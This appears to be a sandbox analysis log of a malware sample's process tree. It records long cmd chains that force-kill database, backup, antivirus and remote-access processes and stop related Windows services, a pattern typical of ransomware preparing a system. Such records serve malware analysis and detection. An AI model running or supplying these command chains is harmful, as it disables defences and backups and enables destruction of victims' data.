C:\Windows\SysWOW64\taskkill.exetaskkill /IM DisklessServer.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM DumpServer.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM NetDiskServer.exe /F5⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color e & @taskkill /IM pg_ctl.exe /F & @taskkill /IM rcrelay.exe /F & @taskkill /IM SogouImeBroker.exe /F & @taskkill /IM CCenter.exe /F & @taskkill /IM ScanFrm.exe /F & @taskkill /IM d_manage.exe /F & @taskkill /IM RsTray.exe /F & @taskkill /IM wampmanager.exe /F & @taskkill /IM RavTray.exe /F & @taskkill /IM mssearch.exe /F & @taskkill /IM sqlmangr.exe /F & @taskkill /IM msftesql.exe /F & @taskkill /IM SyncBaseSvr.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM SyncBaseConsole.exe /F & @taskkill /IM aspnet_state.exe /F & @taskkill /IM AutoBackUpEx.exe /F & @taskkill /IM redis-server.exe /F & @taskkill /IM MySQLNotifier.exe /F & @taskkill /IM oravssw.exe /F & @taskkill /IM fppdis5.exe /F & @taskkill /IM His6Service.exe /F & @taskkill /IM dinotify.exe /F & @taskkill /IM JhTask.exe /F & @taskkill /IM Executer.exe /F & @taskkill /IM AllPassCBHost.exe /F & @taskkill /IM ap_nginx.exe /F & @taskkill /IM AndroidServer.exe /F & @taskkill /IM XT.exe /F & @taskkill /IM XTService.exe /F & @taskkill /IM AllPassMCService.exe /F & @taskkill /IM IMEDICTUPDATE.exe /F & @taskkill /IM FlashHelperService.exe /F & @taskkill /IM ap_redis-server.exe /F & @taskkill /IM UtilDev.WebServer.Monitor.exe /F & @taskkill /IM UWS.AppHost.Clr2.x86.exe /F & @taskkill /IM FoxitProtect.exe /F & @taskkill /IM ftnlses.exe /F & @taskkill /IM ftusbrdwks.exe /F & @taskkill /IM ftusbrdsrv.exe /F & @taskkill /IM ftnlsv.exe /F & @taskkill /IM Syslogd_Service.exe /F & @taskkill /IM UWS.HighPrivilegeUtilities.exe /F & @taskkill /IM ftusbsrv.exe /F & @taskkill /IM UWS.LowPrivilegeUtilities.exe /F & @taskkill /IM UWS.AppHost.Clr2.AnyCpu.exe /F & @taskkill /IM winguard_x64.exe /F & @taskkill /IM vmconnect.exe /F & @taskkill /IM UWS.AppHost.Clr2.x86.exe /F & @taskkill /IM firefox.exe /F & @taskkill /IM usbrdsrv.exe /F & @taskkill /IM usbserver.exe /F & @taskkill /IM Foxmail.exe /F & @taskkill /IM qemu-ga.exe /F & @taskkill /IM wwbizsrv.exe /F & @taskkill /IM ZTEFileTranS.exe /F & @taskkill /IM ZTEUsbIpc.exe /F & @taskkill /IM ZTEUsbIpcGuard.exe /F & @taskkill /IM AlibabaProtect.exe /F & @taskkill /IM kbasesrv.exe /F & @taskkill /IM ZTEVdservice.exe /F & @taskkill /IM MMRHookService.exe /F & @taskkill /IM extjob.exe /F & @taskkill /IM IpOverUsbSvc.exe /F & @taskkill /IM VMwareTray.exe /F & @taskkill /IM devenv.exe /F & @taskkill /IM PerfWatson2.exe /F & @taskkill /IM ServiceHub.Host.Node.x86.exe /F & @taskkill /IM ServiceHub.IdentityHost.exe /F & @taskkill /IM ServiceHub.VSDetouredHost.exe /F & @taskkill /IM ServiceHub.SettingsHost.exe /F & @taskkill /IM ServiceHub.Host.CLR.x86.exe /F & @taskkill /IM ServiceHub.RoslynCodeAnalysisService32.exe /F & @taskkill /IM ServiceHub.DataWarehouseHost.exe /F & @taskkill /IM Microsoft.VisualStudio.Web.Host.exe /F & @taskkill /IM SQLEXPRWT.exe /F & @taskkill /IM setup.exe /F & @taskkill /IM remote.exe /F & @taskkill /IM setup100.exe /F & @taskkill /IM landingpage.exe /F & @taskkill /IM WINWORD.exe /F & @taskkill /IM KuaiYun.exe /F & @taskkill /IM HwsHostPanel.exe /F & @taskkill /IM NovelSpider.exe /F & @taskkill /IM Service_KMS.exe /F & @taskkill /IM WebServer.exe /F & @taskkill /IM ChsIME.exe /F & @taskkill /IM btPanel.exe /F & @taskkill /IM Protect_2345Explorer.exe /F & @taskkill /IM Pic_2345Svc.exe /F & @taskkill /IM vmware-converter-a.exe /F & @taskkill /IM vmware-converter.exe /F & @taskkill /IM vmware.exe /F & @taskkill /IM vmware-unity-helper.exe /F & @taskkill /IM vmware-vmx.exe /F & @taskkill /IM vmware-vmx.exe /F & @taskkill /IM usysdiag.exe /F & @taskkill /IM PopBlock.exe /F & @taskkill /IM gsinterface.exe /F & @taskkill /IM Gemstar.Group.CRS.Client.exe /F & @taskkill /IM TenpayServer.exe /F & @taskkill /IM RemoteExecService.exe /F & @taskkill /IM VS_TrueCorsManager.exe /F & @taskkill /IM ntpsvr-2019-01-22-wgs84.exe /F & @taskkill /IM rtkjob-ion.exe /F & @taskkill /IM ntpsvr-2019-01-22-no-usrcheck.exe /F & @taskkill /IM NtripCaster-2019-01-08.exe /F & @taskkill /IM BACSTray.exe /F & @taskkill /IM protect.exe /F & @taskkill /IM hfs.exe /F & @taskkill /IM jzmis.exe /F & @taskkill /IM NewFileTime_x64.exe /F & @taskkill /IM 2345MiniPage.exe /F & @taskkill /IM JMJ_server.exe /F & @taskkill /IM cacls.exe /F & @taskkill /IM gpsdaemon.exe /F & @taskkill /IM gpsusersvr.exe /F & @taskkill /IM gpsdownsvr.exe /F & @taskkill /IM gpsstoragesvr.exe /F & @taskkill /IM gpsdataprocsvr.exe /F & @taskkill /IM gpsftpd.exe /F & @taskkill /IM gpsmysqld.exe /F & @taskkill /IM gpstomcat6.exe /F & @taskkill /IM gpsloginsvr.exe /F & @taskkill /IM gpsmediasvr.exe /F & @taskkill /IM gpsgatewaysvr.exe /F & @taskkill /IM gpssvrctrl.exe /F & @taskkill /IM zabbix_agentd.exe /F"4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM pg_ctl.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM rcrelay.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SogouImeBroker.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM CCenter.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ScanFrm.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM d_manage.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM RsTray.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM wampmanager.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM RavTray.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM mssearch.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sqlmangr.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM msftesql.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SyncBaseSvr.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM oracle.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM TNSLSNR.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SyncBaseConsole.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM aspnet_state.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM AutoBackUpEx.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM redis-server.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM MySQLNotifier.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM oravssw.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM fppdis5.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM His6Service.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM dinotify.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM JhTask.exe /F5⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color e & @taskkill /IM ThunderPlatform.exe /F & @taskkill /IM iexplore.exe /F & @taskkill /IM vm-agent.exe /F & @taskkill /IM vm-agent-daemon.exe /F & @taskkill /IM eSightService.exe /F & @taskkill /IM cygrunsrv.exe /F & @taskkill /IM wrapper.exe /F & @taskkill /IM nginx.exe /F & @taskkill /IM node.exe /F & @taskkill /IM sshd.exe /F & @taskkill /IM vm-tray.exe /F & @taskkill /IM iempwatchdog.exe /F & @taskkill /IM sqlwriter.exe /F & @taskkill /IM php.exe /F & @taskkill /IM "notepad++.exe" /F & @taskkill /IM "phpStudy.exe" /F & @taskkill /IM OPCClient.exe /F & @taskkill /IM navicat.exe /F & @taskkill /IM SupportAssistAgent.exe /F & @taskkill /IM SunloginClient.exe /F & @taskkill /IM SOUNDMAN.exe /F & @taskkill /IM WeChat.exe /F & @taskkill /IM TXPlatform.exe /F & @taskkill /IM Tencentdll.exe /F & @taskkill /IM httpd.exe /F & @taskkill /IM jenkins.exe /F & @taskkill /IM QQ.exe /F & @taskkill /IM HaoZip.exe /F & @taskkill /IM HaoZipScan.exe /F & @taskkill /IM navicat.exe /F & @taskkill /IM TSVNCache.exe /F & @taskkill /IM RAVCpl64.exe /F & @taskkill /IM secbizsrv.exe /F & @taskkill /IM aliwssv.exe /F & @taskkill /IM Helper_Haozip.exe /F & @taskkill /IM acrotray.exe /F & @taskkill /IM "FileZilla Server Interface.exe" /F & @taskkill /IM YoudaoNote.exe /F & @taskkill /IM YNoteCefRender.exe /F & @taskkill /IM idea.exe /F & @taskkill /IM fsnotifier.exe /F & @taskkill /IM picpick.exe /F & @taskkill /IM lantern.exe /F & @taskkill /IM sysproxy-cmd.exe /F & @taskkill /IM service.exe /F & @taskkill /IM pcas.exe /F & @taskkill /IM PresentationFontCache.exe /F & @taskkill /IM RtWlan.exe /F & @taskkill /IM monitor.exe /F & @taskkill /IM Correspond.exe /F & @taskkill /IM ChatServer.exe /F & @taskkill /IM InetMgr.exe /F & @taskkill /IM LogonServer.exe /F & @taskkill /IM GameServer.exe /F & @taskkill /IM ServUAdmin.exe /F & @taskkill /IM ServUDaemon.exe /F & @taskkill /IM update0.exe /F & @taskkill /IM server.exe /F & @taskkill /IM w3wp.exe /F & @taskkill /IM notepad.exe /F & @taskkill /IM PalmInputService.exe /F & @taskkill /IM PalmInputGuard.exe /F & @taskkill /IM UpdateServer.exe /F & @taskkill /IM UpdateGate.exe /F & @taskkill /IM DBServer.exe /F & @taskkill /IM LoginGate.exe /F & @taskkill /IM SelGate.exe /F & @taskkill /IM RunGate.exe /F & @taskkill /IM M2Server.exe /F & @taskkill /IM LogDataServer.exe /F & @taskkill /IM LoginSrv.exe /F & @taskkill /IM sqlceip.exe /F & @taskkill /IM mqsvc.exe /F & @taskkill /IM RefundOrder.exe /F & @taskkill /IM ClamTray.exe /F & @taskkill /IM AdobeARM.exe /F & @taskkill /IM veeam.backup.shell.exe /F & @taskkill /IM VpxClient.exe /F & @taskkill /IM vmware-vmrc.exe /F & @taskkill /IM DSCPatchService.exe /F & @taskkill /IM scktsrvr.exe /F & @taskkill /IM ServerManager.exe /F & @taskkill /IM Dispatcher.exe /F & @taskkill /IM EFDispatcher.exe /F & @taskkill /IM sqlceip.exe /F & @taskkill /IM mqsvc.exe /F & @taskkill /IM RefundOrder.exe /F & @taskkill /IM ClamTray.exe /F & @taskkill /IM AdobeARM.exe /F & @taskkill /IM veeam.backup.shell.exe /F & @taskkill /IM VpxClient.exe /F & @taskkill /IM vmware-vmrc.exe /F & @taskkill /IM DSCPatchService.exe /F & @taskkill /IM scktsrvr.exe /F & @taskkill /IM ServerManager.exe /F & @taskkill /IM Dispatcher.exe /F & @taskkill /IM EFDispatcher.exe /F & @taskkill /IM ClamWin.exe /F & @taskkill /IM srvany.exe /F & @taskkill /IM JT_AG-8332.exe /F & @taskkill /IM XXTClient.exe /F & @taskkill /IM clean.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM "Net.Service.exe" /F & @taskkill /IM plsqldev.exe /F & @taskkill /IM splwow64.exe /F & @taskkill /IM Oobe.exe /F & @taskkill /IM QQYService.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM SGTool.exe /F & @taskkill /IM postgres.exe /F & @taskkill /IM AppVShNotify.exe /F & @taskkill /IM OfficeClickToRun.exe /F & @taskkill /IM EntDT.exe /F & @taskkill /IM EntPublish.exe /F"4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ThunderPlatform.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM iexplore.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM vm-agent.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM vm-agent-daemon.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM eSightService.exe /F5⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM cygrunsrv.exe /F5⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM wrapper.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM nginx.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM node.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sshd.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM vm-tray.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM iempwatchdog.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sqlwriter.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM php.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "notepad++.exe" /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM "phpStudy.exe" /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM OPCClient.exe /F5⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM navicat.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SupportAssistAgent.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SunloginClient.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SOUNDMAN.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM WeChat.exe /F5⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM TXPlatform.exe /F5⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color e & @taskkill /IM sqlservr.exe /F & @taskkill /IM httpd.exe /F & @taskkill /IM java.exe /F & @taskkill /IM fdhost.exe /F & @taskkill /IM fdlauncher.exe /F & @taskkill /IM reportingservicesservice.exe /F & @taskkill /IM softmgrlite.exe /F & @taskkill /IM sqlbrowser.exe /F & @taskkill /IM ssms.exe /F & @taskkill /IM vmtoolsd.exe /F & @taskkill /IM baidunetdisk.exe /F & @taskkill /IM yundetectservice.exe /F & @taskkill /IM ssclient.exe /F & @taskkill /IM GNAupdaemon.exe /F & @taskkill /IM RAVCp164.exe /F & @taskkill /IM igfxEM.exe /F & @taskkill /IM igfxHK.exe /F & @taskkill /IM igfxTray.exe /F & @taskkill /IM 360bdoctor.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM PrivacyIconClient.exe /F & @taskkill /IM UIODetect.exe /F & @taskkill /IM AutoDealService.exe /F & @taskkill /IM IDDAService.exe /F & @taskkill /IM EnergyDataService.exe /F & @taskkill /IM MPService.exe /F & @taskkill /IM TransMain.exe /F & @taskkill /IM DAService.exe /F & @taskkill /IM GoogleCrashHandler.exe /F & @taskkill /IM GoogleCrashHandler64.exe /F & @taskkill /IM GoogleUpdate.exe /F & @taskkill /IM cohernece.exe /F & @taskkill /IM vmware-tray.exe /F & @taskkill /IM MsDtsSrvr.exe /F & @taskkill /IM msmdsrv.exe /F & @taskkill /IM "FileZilla server.exe" /F & @taskkill /IM UpdateData.exe /F & @taskkill /IM WebApi.Host.exe /F & @taskkill /IM VGAuthService.exe /F & @taskkill /IM omtsreco.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM msdtc.exe /F & @taskkill /IM mmc.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM UIODetect.exe /F & @taskkill /IM AutoDealService.exe /F & @taskkill /IM Admin.exe /F & @taskkill /IM IDDAService.exe /F & @taskkill /IM EnergyDataService.exe /F & @taskkill /IM EnterprisePortal.exe /F & @taskkill /IM MPService.exe /F & @taskkill /IM TransMain.exe /F & @taskkill /IM DAService.exe /F & @taskkill /IM tomcat7.exe /F & @taskkill /IM cohernece.exe /F & @taskkill /IM vmware-tray.exe /F & @taskkill /IM MsDtsSrvr.exe /F & @taskkill /IM Kingdee.K3.CRM.MMC.MMCService.exe /F & @taskkill /IM Kingdee.k3.Weixin.ClientService.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.BkgSvcHost.exe /F & @taskkill /IM Kingdee.K3.HR.Server.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.KDSvrMgrHost.exe /F & @taskkill /IM tomcat5.exe /F & @taskkill /IM Kingdee.DeskTool.exe /F & @taskkill /IM UserClient.exe /F & @taskkill /IM GNAupdaemon.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM ImtsEventSvr.exe /F & @taskkill /IM mysqld-nt.exe /F & @taskkill /IM 360EnterpriseDiskUI.exe /F & @taskkill /IM msmdsrv.exe /F & @taskkill /IM UpdateData.exe /F & @taskkill /IM WebApi.Host.exe /F & @taskkill /IM VGAuthService.exe /F & @taskkill /IM omtsreco.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM msdtc.exe /F & @taskkill /IM mmc.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM tomcat8.exe /F & @taskkill /IM QQprotect.exe /F & @taskkill /IM isqlplussvc.exe /F & @taskkill /IM nmesrvc.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM jusched.exe /F & @taskkill /IM MtxHotPlugService.exe /F & @taskkill /IM jucheck.exe /F & @taskkill /IM wordpad.exe /F & @taskkill /IM SecureCRT.exe /F & @taskkill /IM chrome.exe /F & @taskkill /IM Thunder.exe /F"4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sqlservr.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM httpd.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM java.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM fdhost.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM fdlauncher.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM reportingservicesservice.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM softmgrlite.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sqlbrowser.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ssms.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM vmtoolsd.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM baidunetdisk.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ssclient.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM yundetectservice.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM GNAupdaemon.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM RAVCp164.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM igfxEM.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM igfxHK.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM igfxTray.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM 360bdoctor.exe /F5⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM GNCEFExternal.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM PrivacyIconClient.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM UIODetect.exe /F5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM AutoDealService.exe /F5⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color a & @net stop UIODetect & @net stop VMwareHostd & @net stop TeamViewer8 & @net stop VMUSBArbService & @net stop VMAuthdService & @net stop wanxiao-monitor & @net stop WebAttendServer & @net stop mysqltransport & @net stop VMnetDHCP & @net stop "VMware NAT Service" & @net stop Tomcat8 & @net stop TeamViewer & @net stop QPCore & @net stop CASLicenceServer & @net stop CASWebServer & @net stop AutoUpdateService & @net stop "Alibaba Security Aegis Detect Service" & @net stop "Alibaba Security Aegis Update Service" & @net stop "AliyunService" & @net stop CASXMLService & @net stop AGSService & @net stop RapService & @net stop DDNSService & @net stop iNethinkSQLBackupSvc & @net stop CASVirtualDiskService & @net stop CASMsgSrv & @net stop "OracleOraDb10g_homeliSQL*Plus" & @net stop OracleDBConsoleilas & @net stop MySQL & @net stop TPlusStdAppService1220 & @net stop TPlusStdTaskService1220 & @net stop TPlusStdUpgradeService1220 & @net stop K3MobileServiceManage & @net stop "FileZilla Server" & @net stop DDVRulesProcessor & @net stop ImtsEventSvr & @net stop AutoUpdatePatchService & @net stop OMAILREPORT & @net stop "Dell Hardware Support" & @net stop SupportAssistAgent & @net stop K3MMainSuspendService & @net stop KpService & @net stop ceng_web_svc_d & @net stop KugouService & @net stop pcas & @net stop U8SendMailAdmin & @net stop "Bonjour Service" & @net stop "Apple Mobile Device Service" & @net stop "ABBYY.Licensing.FineReader.Professional.12.0""4⤵
-
C:\Windows\SysWOW64\net.exenet stop UIODetect5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop UIODetect6⤵
-
C:\Windows\SysWOW64\net.exenet stop VMwareHostd5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VMwareHostd6⤵
-
C:\Windows\SysWOW64\net.exenet stop TeamViewer85⤵
- Discovers systems in the same network
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TeamViewer86⤵
-
C:\Windows\SysWOW64\net.exenet stop VMUSBArbService5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VMUSBArbService6⤵
-
C:\Windows\SysWOW64\net.exenet stop VMAuthdService5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VMAuthdService6⤵
-
C:\Windows\SysWOW64\net.exenet stop wanxiao-monitor5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wanxiao-monitor6⤵
-
C:\Windows\SysWOW64\net.exenet stop WebAttendServer5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WebAttendServer6⤵
-
C:\Windows\SysWOW64\net.exenet stop mysqltransport5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mysqltransport6⤵
-
C:\Windows\SysWOW64\net.exenet stop VMnetDHCP5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VMnetDHCP6⤵
-
C:\Windows\SysWOW64\net.exenet stop "VMware NAT Service"5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VMware NAT Service"6⤵
-
C:\Windows\SysWOW64\net.exenet stop Tomcat85⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Tomcat86⤵
-
C:\Windows\SysWOW64\net.exenet stop TeamViewer5⤵
- Discovers systems in the same network
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TeamViewer6⤵
-
C:\Windows\SysWOW64\net.exenet stop QPCore5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QPCore6⤵
-
C:\Windows\SysWOW64\net.exenet stop CASLicenceServer5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASLicenceServer6⤵
-
C:\Windows\SysWOW64\net.exenet stop CASWebServer5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASWebServer6⤵
-
C:\Windows\SysWOW64\net.exenet stop AutoUpdateService5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AutoUpdateService6⤵
-
C:\Windows\SysWOW64\net.exenet stop "Alibaba Security Aegis Detect Service"5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Alibaba Security Aegis Detect Service"6⤵
-
C:\Windows\SysWOW64\net.exenet stop "Alibaba Security Aegis Update Service"5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Alibaba Security Aegis Update Service"6⤵
-
C:\Windows\SysWOW64\net.exenet stop "AliyunService"5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "AliyunService"6⤵
-
C:\Windows\SysWOW64\net.exenet stop CASXMLService5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASXMLService6⤵
-
C:\Windows\SysWOW64\net.exenet stop AGSService5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AGSService6⤵
-
C:\Windows\SysWOW64\net.exenet stop RapService5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop RapService6⤵
-
C:\Windows\SysWOW64\net.exenet stop DDNSService5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop DDNSService6⤵
-
C:\Windows\SysWOW64\net.exenet stop iNethinkSQLBackupSvc5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop iNethinkSQLBackupSvc6⤵
-
C:\Windows\SysWOW64\net.exenet stop CASVirtualDiskService5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASVirtualDiskService6⤵
-
C:\Windows\SysWOW64\net.exenet stop CASMsgSrv5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASMsgSrv6⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color a & @net stop HaoZipSvc & @net stop "igfxCUIService2.0.0.0" & @net stop Realtek11nSU & @net stop xenlite & @net stop XenSvc & @net stop Apache2.2 & @net stop "Synology Drive VSS Service x64" & @net stop DellDRLogSvc & @net stop FirebirdGuardianDeafaultInstance & @net stop JWEM3DBAUTORun & @net stop JWRinfoClientService & @net stop JWService & @net stop Service2 & @net stop RapidRecoveryAgent & @net stop FirebirdServerDefaultInstance & @net stop AdobeARMservice & @net stop VeeamCatalogSvc & @net stop VeeanBackupSvc & @net stop VeeamTransportSvc & @net stop TPlusStdAppService1300 & @net stop TPlusStdTaskService1300 & @net stop TPlusStdUpgradeService1300 & @net stop TPlusStdWebService1300 & @net stop VeeamNFSSvc & @net stop VeeamDeploySvc & @net stop VeeamCloudSvc & @net stop VeeamMountSvc & @net stop VeeamBrokerSvc & @net stop VeeamDistributionSvc & @net stop tmlisten & @net stop ServiceMid & @net stop 360EntPGSvc & @net stop ClickToRunSvc & @net stop RavTask & @net stop AngelOfDeath & @net stop d_safe & @net stop NFLicenceServer & @net stop "NetVault Process Manager" & @net stop RavService & @net stop DFServ & @net stop IngressMgr & @net stop EvtSys & @net stop K3ClouManager & @net stop NFVPrintServer & @net stop RTCAVMCU & @net stop CobianBackup10 & @net stop GNWebService & @net stop Mysoft.SchedulingService & @net stop AgentX & @net stop SentinelKeysServer & @net stop DGPNPSEV & @net stop TurboCRM70 & @net stop NFSysService & @net stop U8DispatchService & @net stop NFOTPService & @net stop U8EISService & @net stop U8EncryptService & @net stop U8GCService & @net stop U8KeyManagePool & @net stop U8MPool & @net stop U8SCMPool & @net stop U8SLReportService & @net stop U8TaskService & @net stop U8WebPool & @net stop UFAllNet & @net stop UFReportService & @net stop UTUService"4⤵
-
C:\Windows\SysWOW64\net.exenet stop HaoZipSvc5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop HaoZipSvc6⤵
-
C:\Windows\SysWOW64\net.exenet stop "igfxCUIService2.0.0.0"5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "igfxCUIService2.0.0.0"6⤵
-
C:\Windows\SysWOW64\net.exenet stop Realtek11nSU5⤵
-
C:\Windows\SysWOW64\net.exenet stop xenlite5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop xenlite6⤵
-
C:\Windows\SysWOW64\net.exenet stop XenSvc5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop XenSvc6⤵
-
C:\Windows\SysWOW64\net.exenet stop Apache2.25⤵
-
C:\Windows\SysWOW64\net.exenet stop "Synology Drive VSS Service x64"5⤵
-
C:\Windows\SysWOW64\net.exenet stop DellDRLogSvc5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop DellDRLogSvc6⤵
-
C:\Windows\SysWOW64\net.exenet stop FirebirdGuardianDeafaultInstance5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop FirebirdGuardianDeafaultInstance6⤵
-
